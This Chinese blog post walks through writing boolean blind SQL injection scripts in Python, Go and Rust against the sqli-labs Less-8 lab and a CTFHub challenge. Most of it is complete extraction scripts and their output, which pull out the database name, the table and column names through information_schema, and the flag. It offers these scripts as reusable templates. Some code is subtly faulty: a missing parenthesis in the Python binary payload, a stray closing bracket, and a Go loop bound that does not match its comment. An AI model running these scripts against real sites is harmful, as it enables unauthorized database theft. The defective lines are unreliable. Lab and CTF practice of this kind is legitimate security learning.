Go Deep | Blog

Go Deep and Be professional

0%

SQL布尔盲注自动化脚本二分查找实践与踩坑(Python, Golang, Rust)

SQL盲注类型可以通过sqlmap简单地完成,亦可自己写一个简单的盲注脚本。

现有的盲注脚本代码与文章质量良莠不齐,且大部分用的是线性搜索,效率奇低。
故本文实践一下二分查找算法的盲注脚本,与此同时记录一下在这个过程中所遇到的坑点。(尤其是Golang实践中的坑)

为以后各语言的注入脚本提供一个基于二分查找的可实践版本的代码。


测试环境安装

本文主要使用两个环境。一个是docker版的sqli-labs,另一个是CTFHub的SQL布尔盲注(在线版)。

安装并运行的sqli-labs命令如下:

1
docker run --rm -d -p 80:80 acgpiano/sqli-labs

两个URL分别为如下:

1
2
- http://192.168.3.104/Less-8/?id=1
- http://challenge-8542e4f21d675576.sandbox.ctfhub.com:10080/

SQL盲注脚本编写

现有盲注脚本主要分为线性搜索和二分查找算法。目前可以通过搜索引擎简单搜索到到均是线性搜索,且代码普遍质量达不到我个人认可的程度。

代码中有用的注释也比较少,可能大家写脚本的都不是专业的。因此本文提供Python、Golang和Rust版本的线性与二分查找算法的代码。

希望本文可以为高效率盲注提供一个具体的实践方案。

本节使用sqli-labs的Less-8来示范这个编写过程所遇到的问题。

前提:本文中Less-8可用的payload为:

1
2
3
4
5
6
# 未被编码过
http://192.168.3.104/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+
# 编码过亦可成功
http://192.168.3.104/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))=115 --+
# 编码过但是无法成功,因为关键的最后一个`+`被编码了
http://192.168.3.104/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))=115 --%2B

Python版

在盲注脚本中python库使用的是requests

坑点1:不使用params的方式完成URL拼接

坑点1:在Python中,只能通过URL拼接的方式来完成URL的构造。
不能用params的方式来完成拼接。

比如举个例子:

1
2
3
4
5
6
7
8
9
10
11
import requests

if __name__ == '__main__':
base_url = "http://192.168.3.104/Less-8/"
params = {'id': "1' and ascii(substr(database(),1,1))=115 --+"}
r = requests.get(base_url, params=params)
print(r.url)

payload = "?id=1' and ascii(substr(database(),1,1))=115 --+"
r2 = requests.get(base_url + payload)
print(r2.url)

此时输出为:

1
2
3
4
# 这个是无效的payload,因此不能通过params的方式拼接
http://192.168.3.104/Less-8/?id=1%27+and+ascii%28substr%28database%28%29%2C1%2C1%29%29%3D115+--%2B
# 拼接后是原始有效的
http://192.168.3.104/Less-8/?id=1'%20and%20ascii(substr(database(),1,1))=115%20--+

线性搜索与二分查找算法实现

先考虑最简单的情况,只去“猜”一个字符。

  1. 常规的线性搜索过程如下:
1
2
3
4
5
6
7
8
9
# 可显的ASCII字符为:32(<空格>)~126(~)
for i in range(32, 127):
payload = f"1' and ascii(substr(database(),{j},{j}))={i} --+"
r = requests.get(base_url + payload)
if mark in r.text:
db_name += chr(i)
print('database:', db_name)
# 注:使用break来提前退出
break
  1. 二分算法实现查找过程:

原理如下:与传统的二分算法不同在于,是否能够找得到对SQL盲注来说是一件非常重要的事情。

网络上有的作者写的是不能判断,因此程序或有bug。

其实没有必要,只需利用二分查找过程中的“相等匹配”即可“立刻”判断出是否找到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
low = 32
high = 126
while high >= low:
mid = (low + high) // 2 # 取整

# 第一次判断是否相等
payload = f"1' and ascii(substr(database(),{j},{j}))={mid} --+"
r = requests.get(base_url + payload)
if mark in r.text:
db_name += chr(mid)
print('database:', db_name)
exit_flag = False
break
pass

# 再判断范围,然后缩小范围
payload = f"1' and ascii(substr(database(),{j},{j}))>{mid} --+"
r = requests.get(base_url + payload)
if mark in r.text:
low = mid + 1
else:
high = mid - 1
pass

找出完整信息

在上述的基础之上,怎么知道当前的字符是否判断完整?

针对于这个问题,有网友提出解决办法是在“猜”字符ASCII码前,先用length()“猜”出长度即可控制程序循环逻辑。

但这无异于增加程序逻辑复杂性。解决办法其实比较简单,用两层循环即可完成该目标。

线性搜索如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
j = 1
exit_flag = False
while not exit_flag:
# 总是假设该轮循环会退出
exit_flag = True
for i in range(32, 127):
payload = f"1' and ascii(substr(database(),{j},{j}))={i} --+"
r = requests.get(base_url + payload)
if mark in r.text:
db_name += chr(i)
print('database:', db_name)
# 已找到一个字符,说明下一轮「可能」还会有字符,因此不能退出
exit_flag = False
break
pass
j += 1
return db_name

二分查找如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
j = 1
exit_flag = False
while not exit_flag:
# 总是假设该轮循环会退出
exit_flag = True
low = 32
high = 126
while high >= low:
mid = (low + high) // 2
payload = f"1' and ascii(substr(database(),{j},{j}))={mid} --+"
r = requests.get(base_url + payload)
if mark in r.text:
db_name += chr(mid)
print('database:', db_name)
exit_flag = False
break
pass

# another test for narrow down left or right range to search
payload = f"1' and ascii(substr(database(),{j},{j}))>{mid} --+"
r = requests.get(base_url + payload)
if mark in r.text:
low = mid + 1
else:
high = mid - 1
pass
j += 1

完整的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import requests
import time

# base_url = "ttp://192.168.3.104/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+"
base_url = "http://192.168.3.104/Less-8/?id="

mark = 'You are in'


# more detail: https://stackoverflow.com/a/803626/8587335
def measure_time(func):
start_time = time.time()
_ = func()
end_time = time.time()
print("Time: {} seconds".format(end_time - start_time))


def probe_database_linear():
db_name = ''
# params = {'id': "1' and ascii(substr(database(),1,1))=115 --+"}

# all visible character is: 32( )->126(~)
j = 1
exit_flag = False
while not exit_flag:
# always assume we will exit in this loop
exit_flag = True
for i in range(32, 127):
payload = f"1' and ascii(substr(database(),{j},{j}))={i} --+"
r = requests.get(base_url + payload)
if mark in r.text:
db_name += chr(i)
print('database:', db_name)
exit_flag = False
break
pass
j += 1
return db_name


def probe_database_binary():
db_name = ''
# params = {'id': "1' and ascii(substr(database(),1,1))=115 --+"}

# all visible character is: 32( )->126(~)
j = 1
exit_flag = False
while not exit_flag:
# always assume we will exit in this loop
exit_flag = True
low = 32
high = 126
while high >= low:
mid = (low + high) // 2
payload = f"1' and ascii(substr(database(),{j},{j})={mid} --+"
r = requests.get(base_url + payload)
if mark in r.text:
db_name += chr(mid)
print('database:', db_name)
exit_flag = False
break
pass

# another test for narrow down left or right range to search
payload = f"1' and ascii(substr(database(),{j},{j}))>{mid} --+"
r = requests.get(base_url + payload)
if mark in r.text:
low = mid + 1
else:
high = mid - 1
pass
j += 1
return db_name


if __name__ == '__main__':
print("linear:")
measure_time(lambda: probe_database_linear())

print("\nbinary:")
measure_time(lambda: probe_database_binary())
)

看一下输出的结果与时间对比:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
linear:
database: s
database: se
database: sec
database: secu
database: secur
database: securi
database: securit
database: security
Time: 11.133447170257568 seconds

binary:
database: s
database: se
database: sec
database: secu
database: secur
database: securi
database: securit
database: security
Time: 0.7845282554626465 seconds

可见二分查找的效率是有多么地显著。珍爱生命,还是尽可能有二分这种查找算法吧。写起来也并不复杂。

Golang版

Golang版没有比较成熟与好用的库类似于Python的requests,但是有一个类似的库叫:grequests

这个库等价于python中的requests,其使用的基础库是net/http(等价于Python中的urllib)。

坑点2:未编码URL

如果带着Python的相同写法来写代码,那么很容易出现你意料之外的事情。

坑点2:一定要编码URL,否则会导致URL“不全”的错误。

什么意思呢?这里用代码举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var mark = "You are in"
func main() {
// 与Python相同的payload
url := "http://192.168.3.104/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+"
resp, err := grequests.Get(url, nil)
if err != nil {
log.Fatalln("Unable to make request: ", err)
}
if strings.Contains(resp.String(), mark) {
fmt.Println("Yes! You are in!")
} else {
fmt.Println("Ohh! You are not in!")
}
}

这段代码的执行结果为:

1
Ohh! You are not in!

咦~?怎么回事?为什么我们说好的payload没作用了?是这个grequests的库问题?还是golang的版本问题(我的go版本是1.13.6)?还是这个golang版本的net/http的问题(比如这个issue)?

不知道。很有可能在任何一个过程中出错。

排查错误与修复

  1. 排查URL

payload也就是URL其实是很容易复制错的,因此优先看这个是否存在错误。

这时我们需要去打印出这个request的url的时候,经过我一段时间的探索后,发现grequests这个库没有办法显示出请求的URL一样,不像Python的requests库一样。比如这个issue:
https://github.com/levigross/grequests/issues/49

很遗憾,grequests不像python的requests库一样强大。

那么我们在网页服务端显示出我们需要执行的sql的payload即可。

第一步:

进入docker的这个container:

1
2
# 换成自己的container ID
docker exec -it 5e37d8d /bin/bash

第二步:

给网页显示增加显示SQL的执行语句的功能:

1
2
3
4
5
6
7
vi /var/www/html/Less-8/index.php

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 在这句的下面新添加语句如下:
echo "<font size='5' color= '#99FF00'>";
echo 'Your SQL:'. $sql . '<br>';
echo "</font>";

然后增加输出response的body本身,代码修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var mark = "You are in"
func main() {
//url := "http://192.168.3.104/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))=115%20--+"
url := "http://192.168.3.104/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+"
resp, err := grequests.Get(url, nil)
if err != nil {
log.Fatalln("Unable to make request: ", err)
}
// 新加:打印出body本身:为了显示出URL是否生效
fmt.Println(resp.String())
if strings.Contains(resp.String(), mark) {
fmt.Println("Yes! You are in")
} else {
fmt.Println("Ohh! You are not in!")
}
}

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-8 Blind- Boolian- Single Quotes- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<!-- 省略了一大堆空行 -->

<font size='5' color= '#99FF00'>Your SQL:SELECT * FROM users WHERE id='1'' LIMIT 0,1<br></font><font size="5" color="#FFFF00"></br></font><font color= "#0000ff" font size= 3>
</font> </div></br></br></br><center>
<img src="../images/Less-8.jpg" /></center>
</body>
</html>

Ohh! You are not in!

可以看到,我们的SQL语句变成了:

1
SELECT * FROM users WHERE id='1'' LIMIT 0,1

难怪payload没有生效!我们的语句就没有传达到服务端(因为这个sqli-labs是不自带WAF的)。

这个问题就说明了,我们在客户端进行发送的时候肯定出了什么问题。那么问题就定位在grequests或者golang的net/http身上。

  1. 排查grequests或golang的net/http

经过我个人的一番翻阅源代码,比如这个:
https://github.com/levigross/grequests/blob/253788527a1af7adb29e20dee7165c2b5b43f08f/request.go#L148-L210
grequests用的就是net/httpnet/url去发送请求的。因此grequests的库本身是没什么大的问题的。(虽然以我浅薄的认知,我觉得grequests是可以改进的,比如进行“适度地”编码。)

PS: 为什么是“适度地”编码?因为我们只想要它把空格编码成%20这种程度即可,对于末尾的关键性的+,我们不希望它编码为%2B,否则我们的payload就会彻底失效。但是这个度其实是很难把握度,所以grequests维持这样的状态是完全可以理解的。

  1. 修复由于golangnet/http带来的问题

既然是golang自己的库解析的问题,说明我们很难通过修改底层的源代码去解决这个问题。那么我们来探索一下这个到底发生了什么,为什么会发生这样的情况。

在开始之前,我们可以根据上面的第二点,知道,我们的payload在'之后被“截断”了,也就是空格之后就没了。

那么我们猜测,这里是因为有空格的问题而被截断了。

理由有如下:

  1. 在payload上看不到空格以后的东西了
  2. 根据这个issue,可以知道,空格在URL中是危险的。因此要么会被转义成%20或者+(RFC更加倾向前者)。

所以基于以上理由,我们假设:URL中未被编码的空格会被截断掉。当然这个假设的前提是golang的版本是1.13.6。可能在其他版本中会被休息(个人认为可能性不大,因为这个不算是一个bug,而更加可能是一个feature)。

我们来进行代码执行对比一下来验证我们的猜想。URL我们测试两个:

1
2
3
4
// 第一个为手工编码
url := "http://192.168.3.104/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))=115%20--+"
// 第二个为原始,未编码
url := "http://192.168.3.104/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+"

测试结果如下:(为了显示简洁,不打印response的body内容了)

1
2
3
4
5
# 第一个结果:
Yes! You are in

# 第二个结果:
Ohh! You are not in!

我们的猜想合理且正确!URL中未被编码的空格的确会被截断掉。

完整的代码

到此,遇到的问题也解决了。直接看下代码里怎么写。整体和Python版的类似,并无其他大的区别。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package main

import (
"fmt"
"github.com/levigross/grequests"
"log"
"strings"
"time"
)

var baseURL = "http://192.168.3.104/Less-8/?id="
var mark = "You are in"

// Comes from: https://dev.to/rubiin/measure-function-execution-time-in-golang-177l
func measureTime(start time.Time, name string) {
elapsed := time.Since(start)
log.Printf("Time for %s: %s", name, elapsed)
}

func probeDatabaseLinear() string {
defer measureTime(time.Now(), "Linear")

// 为了方便拼接和复用,此处把sqlPayload单独独立出来(亦可作为一个函数参数传递进来)
sqlPayload := "database()"
dbName := ""

// all visible character is: 32( )->126(~)
j := 1
exitFlag := false
for !exitFlag {
// always assume we will exit in this loop
exitFlag = true
for i := 36; i < 127; i++ {
// raw payload: 1' and ascii(substr(database(),1,1))=115 --+
// We need to encode ` `(Space) into `%20` to ensure net/http processes URL correctly
payload := fmt.Sprintf("1'%%20and%%20ascii(substr(%s,%d,%d))=%d%%20--+", sqlPayload, j, j, i)
resp, err := grequests.Get(baseURL + payload, nil)
if err != nil {
log.Fatalln("Unable to make request: ", err)
}
if strings.Contains(resp.String(), mark) {
dbName += string(i)
fmt.Println("database: ", dbName)
exitFlag = false
break
}
}
j += 1
}

return dbName
}


func probeDatabaseBinary() string {
defer measureTime(time.Now(), "Binary")

dbName := ""
sqlPayload := "database()"

// all visible character is: 32( )->126(~)
j := 1
exitFlag := false
for !exitFlag {
// always assume we will exit in this loop
exitFlag = true
low := 32
high := 126
for high >= low {
mid := (low + high) / 2

// test current position
// raw payload: 1' and ascii(substr(database(),1,1))=114 --+
// We need to encode ` `(Space) into `%20` to ensure net/http processes URL correctly
payload := fmt.Sprintf("1'%%20and%%20ascii(substr(%s,%d,%d))=%d%%20--+", sqlPayload, j, j, mid)
resp, err := grequests.Get(baseURL + payload, nil)
if err != nil {
log.Fatalln("Unable to make request: ", err)
}
if strings.Contains(resp.String(), mark) {
dbName += string(mid)
fmt.Println("database: ", dbName)
exitFlag = false
break
}

// another test for narrow down left or right range to search
payload = fmt.Sprintf("1'%%20and%%20ascii(substr(%s,%d,%d))>%d%%20--+", sqlPayload, j, j, mid)
resp, err = grequests.Get(baseURL + payload, nil)
if err != nil {
log.Fatalln("Unable to make request: ", err)
}
if strings.Contains(resp.String(), mark) {
low = mid + 1
} else {
high = mid - 1
}
}
j += 1
}

return dbName
}


func main() {
probeDatabaseLinear()

probeDatabaseBinary()
}

同样看下执行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
database:  s
database: se
database: sec
database: secu
database: secur
database: securi
database: securit
database: security
2021/05/28 15:36:44 Time for Linear: 2.852781115s
database: s
database: se
database: sec
database: secu
database: secur
database: securi
database: securit
database: security
2021/05/28 15:36:44 Time for Binary: 351.54255ms

额~虽然可能大多数人普遍认为安全行业的工具类东西不需要考虑性能,但是Golang的这个效率的确很香。

其他想法与测试

那么,我们能不能不手工去编码,这样不优雅啊,直接去调用golang的net/url来帮我们编码呢?

想法很好,但是很可惜不能。golang的url编码太彻底了。会让我们的url payload失效。

我们举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main

import (
"fmt"
"net/url"
)

func main() {
// Let's start with a base url
baseUrl, err := url.Parse("http://192.168.3.104")
if err != nil {
fmt.Println("Malformed URL: ", err.Error())
return
}

// Add a Path Segment (Path segment is automatically escaped)
baseUrl.Path += "Less-8/"

// Prepare Query Parameters
params := url.Values{}
params.Add("id", "1' and ascii(substr(database(),1,1))=115 --+")

// Add Query Parameters to the URL
baseUrl.RawQuery = params.Encode() // Escape Query Parameters

fmt.Printf("Encoded URL is %q\n", baseUrl.String())
}

然后结果为:

1
Encoded URL is "http://192.168.3.104/Less-8/?id=1%27+and+ascii%28substr%28database%28%29%2C1%2C1%29%29%3D115+--%2B"

未去访问这个url就知道不行了,最后一个+被编码了。

不如真实访问一下看看网页的payload是怎样的:

1
Your SQL:SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))=115 --+' LIMIT 0,1

果然没有You are in的标示,通过SQL也可以看出来为什么我们的payload不成功。

因此,结论:当我们有这个需求的时候,只能通过手工编码。

Rust版

Rust中的有没有python一样的requests库呢?
答:还真没有可用且成熟的(截止2021年5月)。有一个requests库,但是这个库是3年前更新的,你敢用吗?我不敢。

但是,Rust中有比python的requets的库更强大的库:reqwest

它虽然没有类似于Python的requests库一样的API,但是它足够强大,甚至支持默认支持异步。

所以,python的requests库等同于Rust的reqwest,python的urllib等同于Rust的Hyper(其实更加与Golang的net/http更像)。

坑点3:Rust中坑点

Rust这么完美的语言怎么可能有坑点?没有的。

简单的非异步reqwest示例

由于reqwest默认启用异步的feature,但是我们只请求简单的内容,无需用上异步这么复杂又牛逼的东西。

因此在Cargo.toml中增加如下内容以启用blocking的feature:

1
2
[dependencies]
reqwest = { version = "0.11.3", features = ["blocking"] }

主要的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
fn main() -> Result<(), Box<dyn std::error::Error>> {
let url = "http://192.168.3.104/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+";
let mark = "You are in";

// 类似于python的reqwest库
let r = reqwest::blocking::get(url)?;
let body = r.text()?;

if body.contains(mark) {
println!("Yes! You are in!");
}
Ok(())
}

可以看到输出为:

1
Yes! You are in!

如果不关注语法细节,整体的理解起来还是很简单的。而且没有Golang那样的编码问题。

完整的代码

与Python的逻辑类似,没有什么不同的地方。

PS: 此处使用闭包来测量函数执行的时间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
use std::time::Instant;

const BASE_URL: &str = "http://192.168.3.104/Less-8/?id=";
const MARK: &str = "You are in";

// https://stackoverflow.com/a/25182801/8587335
fn measure_time<F: FnOnce()>(name: String, func: F) {
let start = Instant::now();
func();
let duration = start.elapsed();
println!("Time elapsed in {} is: {:?}", name, duration);
}

fn probe_database_linear() -> Result<String, Box<dyn std::error::Error>> {
let mut db_name = String::new();

let sql_payload = "database()";

let mut j = 1;
let mut exit_flag = false;
while !exit_flag {
// always assume we will exit in this loop
exit_flag = true;

for i in 32u8..127u8 {
let payload = format!(
"1' and ascii(substr({},{},{}))={} --+",
sql_payload, j, j, i
);
let url = format!("{}{}", BASE_URL, payload);
let r = reqwest::blocking::get(url)?;
let body = r.text()?;
if body.contains(MARK) {
db_name.push(i as char);
println!("database: {}", db_name);
exit_flag = false;
break;
}
}
j += 1;
}

Ok(db_name)
}

fn probe_database_binary() -> Result<String, Box<dyn std::error::Error>> {
let mut db_name = String::new();

let sql_payload = "database()";

let mut j = 1;
let mut exit_flag = false;
while !exit_flag {
// always assume we will exit in this loop
exit_flag = true;

let mut low = 32u8;
let mut high = 126u8;
while high >= low {
let mid = (low + high) / 2;
let payload = format!(
"1' and ascii(substr({},{},{}))={} --+",
sql_payload, j, j, mid
);
let url = format!("{}{}", BASE_URL, payload);
let r = reqwest::blocking::get(url)?;
let body = r.text()?;
if body.contains(MARK) {
db_name.push(mid as char);
println!("database: {}", db_name);
exit_flag = false;
break;
}

// another test for narrow down left or right range to search
let payload = format!(
"1' and ascii(substr({},{},{}))>{} --+",
sql_payload, j, j, mid
);
let url = format!("{}{}", BASE_URL, payload);
let r = reqwest::blocking::get(url)?;
let body = r.text()?;
match body.contains(MARK) {
true => low = mid + 1,
false => high = mid - 1,
}
}
j += 1;
}

Ok(db_name)
}

fn main() {
measure_time("Linear".to_string(), || {
let _ = probe_database_linear();
});

let _ = measure_time("Binary".to_string(), || {
let _ = probe_database_binary();
});
}

同样来看一下时间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
database: s
database: se
database: sec
database: secu
database: secur
database: securi
database: securit
database: security
Time elapsed in Linear is: 5.873950016s
database: s
database: se
database: sec
database: secu
database: secur
database: securi
database: securit
database: security
Time elapsed in Binary is: 788.546473ms

时间还是比Golang要长一点,所以还是Golang可能会更香一点。

实践

  1. 启动测试环境

在CTFHub上启动布尔盲注题目环境。获得环境链接如下:

1
http://challenge-8542e4f21d675576.sandbox.ctfhub.com:10080/
  1. 完整的盲注过程代码

这部分的代码,有几个需要注意的点:

  • 代码中通过sql_payload独立出来使语句变短以及可读
  • 使用group_concat()函数来把多个结果绑成一个结果输出

如果不用group_concat(),那么需要通过调节limit 0,1来去“猜”不同的ASCII码。

比如完整的SQL的payload如下:

1
2
3
4
# 一次只能猜一个,除非调节limit的参数
sql_payload = "select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1"
# 一次性把所有的结果用`,`链接(group_concat默认)
sql_payload = "select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = database()"

这样一来,程序的逻辑也会降低。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
import requests
import time

base_url = "http://challenge-8542e4f21d675576.sandbox.ctfhub.com:10080/?id="

mark = 'query_success'


# more detail: https://stackoverflow.com/a/803626/8587335
def measure_time(func):
start_time = time.time()
_ = func()
end_time = time.time()
print("Time: {} seconds".format(end_time - start_time))


def probe_database_linear():
db_name = ''
# params = {'id': "1' and ascii(substr(database(),1,1))=115 --+"}

# all visible character is: 32( )->126(~)
j = 1
exit_flag = False
while not exit_flag:
# always assume we will exit in this loop
exit_flag = True
for i in range(32, 127):
payload = f"1 and ascii(substr(database(),{j},{j}))={i} --+"
r = requests.get(base_url + payload)
if mark in r.text:
db_name += chr(i)
print('database:', db_name)
exit_flag = False
break
pass
j += 1
return db_name


def probe_database_binary():
db_name = ''
# params = {'id': "1' and ascii(substr(database(),1,1))=115 --+"}

# all visible character is: 32( )->126(~)
j = 1
exit_flag = False
while not exit_flag:
# always assume we will exit in this loop
exit_flag = True
low = 32
high = 126
while high >= low:
mid = (low + high) // 2
payload = f"1 and ascii(substr(database(),{j},{j}))={mid}"
r = requests.get(base_url + payload)
if mark in r.text:
db_name += chr(mid)
print('database:', db_name)
exit_flag = False
break
pass

# another test for narrow down left or right range to search
payload = f"1 and ascii(substr(database(),{j},{j}))>{mid}"
r = requests.get(base_url + payload)
if mark in r.text:
low = mid + 1
else:
high = mid - 1
pass
j += 1
return db_name


def probe_table_binary(db_name):
table_name = ''
# sql_payload = "select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1"
# 这里解决了一个痛点:对于多个表名,通过group_concat()链接,那么就不需要去改变`limit 0,1`
sql_payload = "select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = database()"

# all visible character is: 32( )->126(~)
j = 1
exit_flag = False
while not exit_flag:
# always assume we will exit in this loop
exit_flag = True
low = 32
high = 126
while high >= low:
mid = (low + high) // 2
payload = f"1 and ascii(substr(({sql_payload}),{j},{j}))={mid}"
r = requests.get(base_url + payload)
if mark in r.text:
table_name += chr(mid)
print('table:', table_name)
exit_flag = False
break
pass

# another test for narrow down left or right range to search
payload = f"1 and ascii(substr(({sql_payload}),{j},{j}))>{mid}"
r = requests.get(base_url + payload)
if mark in r.text:
low = mid + 1
else:
high = mid - 1
pass
j += 1
return table_name


def probe_column_binary(table_name):
column_name = ''
# sql_payload = "select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1"
# payload: select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = 'flag' and TABLE_SCHEMA = database()
sql_payload = f"select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = '{table_name}' and TABLE_SCHEMA = database()"

# all visible character is: 32( )->126(~)
j = 1
exit_flag = False
while not exit_flag:
# always assume we will exit in this loop
exit_flag = True
low = 32
high = 126
while high >= low:
mid = (low + high) // 2
payload = f"1 and ascii(substr(({sql_payload}),{j},{j}))={mid}"
r = requests.get(base_url + payload)
if mark in r.text:
column_name += chr(mid)
print('column:', column_name)
exit_flag = False
break
pass

# another test for narrow down left or right range to search
payload = f"1 and ascii(substr(({sql_payload}),{j},{j}))>{mid}"
r = requests.get(base_url + payload)
if mark in r.text:
low = mid + 1
else:
high = mid - 1
pass
j += 1
return column_name


def probe_flag(table_name, column_name):
flag = ''
# payload: select flag from flag
sql_payload = f"select {column_name} from {table_name}"

# all visible character is: 32( )->126(~)
j = 1
exit_flag = False
while not exit_flag:
# always assume we will exit in this loop
exit_flag = True
low = 32
high = 126
while high >= low:
mid = (low + high) // 2
payload = f"1 and ascii(substr(({sql_payload}),{j},{j}))={mid}"
r = requests.get(base_url + payload)
if mark in r.text:
flag += chr(mid)
print('flag:', flag)
exit_flag = False
break
pass

# another test for narrow down left or right range to search
payload = f"1 and ascii(substr(({sql_payload}),{j},{j}))>{mid}"
r = requests.get(base_url + payload)
if mark in r.text:
low = mid + 1
else:
high = mid - 1
pass
j += 1
return flag


if __name__ == '__main__':
print("probe db_name:")
measure_time(lambda: probe_database_binary())

print("\nprobe table_name:")
measure_time(lambda: probe_table_binary(db_name="sqli"))

print("\nprobe column_name:")
measure_time(lambda: probe_column_binary(table_name="flag"))

print("\nprobe flag:")
measure_time(lambda: probe_flag(table_name="flag", column_name="flag"))

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
probe db_name:
database: s
database: sq
database: sql
database: sqli
Time: 56.579747915267944 seconds

probe table_name:
table: n
table: ne
table: new
table: news
table: news,
table: news,f
table: news,fl
table: news,fla
table: news,flag
Time: 94.11818170547485 seconds

probe column_name:
column: f
column: fl
column: fla
column: flag
Time: 46.16322708129883 seconds

probe flag:
flag: c
flag: ct
flag: ctf
flag: ctfh
flag: ctfhu
flag: ctfhub
flag: ctfhub{
flag: ctfhub{8
flag: ctfhub{85
flag: ctfhub{851
flag: ctfhub{851b
flag: ctfhub{851b6
flag: ctfhub{851b66
flag: ctfhub{851b66a
flag: ctfhub{851b66af
flag: ctfhub{851b66af4
flag: ctfhub{851b66af41
flag: ctfhub{851b66af41f
flag: ctfhub{851b66af41ff
flag: ctfhub{851b66af41ff5
flag: ctfhub{851b66af41ff53
flag: ctfhub{851b66af41ff531
flag: ctfhub{851b66af41ff5312
flag: ctfhub{851b66af41ff5312b
flag: ctfhub{851b66af41ff5312b8
flag: ctfhub{851b66af41ff5312b81
flag: ctfhub{851b66af41ff5312b816
flag: ctfhub{851b66af41ff5312b8167
flag: ctfhub{851b66af41ff5312b81674
flag: ctfhub{851b66af41ff5312b816748
flag: ctfhub{851b66af41ff5312b8167487
flag: ctfhub{851b66af41ff5312b8167487}
Time: 335.36650919914246 seconds

PS1: 可以注意到,这个时间比本地的Docker的环境慢了很多。那是因为CTFHub一次的请求最大就是这么多。若是本地无限制跑,速度也是很快的。

PS2: 无法“完全自动化”。必须有一个类似于sqlmap那样的交互过程。毕竟你所需要的表、列与字段都是不确定的。

总结

  1. 坑点总结

    • Python的requests库的params不能用。需要通过字符串拼接的方式完成,但是不需要手动编码。
    • Golang的net/http会截断空格,需要手动编码。
    • Rust无坑点
  2. 在几个语言里,都有衡量时间的函数来handle。具体可以参考另一篇文章:
